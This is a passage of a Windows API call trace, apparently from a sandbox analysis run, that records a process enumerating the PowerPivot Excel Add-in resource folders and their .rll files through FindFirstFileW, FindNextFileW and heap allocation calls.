dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.865] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0226.865] GetProcessHeap () returned 0xc10000 [0226.865] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.867] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.867] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.867] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.867] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.867] GetProcessHeap () returned 0xc10000 [0226.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.867] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0226.867] GetProcessHeap () returned 0xc10000 [0226.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.869] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.870] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.870] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.870] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.870] GetProcessHeap () returned 0xc10000 [0226.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.870] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0226.870] GetProcessHeap () returned 0xc10000 [0226.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.871] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.871] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.871] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.871] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.871] GetProcessHeap () returned 0xc10000 [0226.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.872] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0226.872] GetProcessHeap () returned 0xc10000 [0226.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.873] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.873] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.873] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.873] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.874] GetProcessHeap () returned 0xc10000 [0226.874] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.874] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0226.874] GetProcessHeap () returned 0xc10000 [0226.874] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.875] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.875] GetProcessHeap () returned 0xc10000 [0226.875] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.875] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0226.875] GetProcessHeap () returned 0xc10000 [0226.875] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.876] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.876] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0226.876] GetProcessHeap () returned 0xc10000 [0226.876] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.876] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0226.876] GetProcessHeap () returned 0xc10000 [0226.876] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.878] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.878] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.878] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.878] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.878] GetProcessHeap () returned 0xc10000 [0226.878] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.878] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1048", cAlternateFileName="")) returned 1 [0226.878] GetProcessHeap () returned 0xc10000 [0226.878] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.879] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, 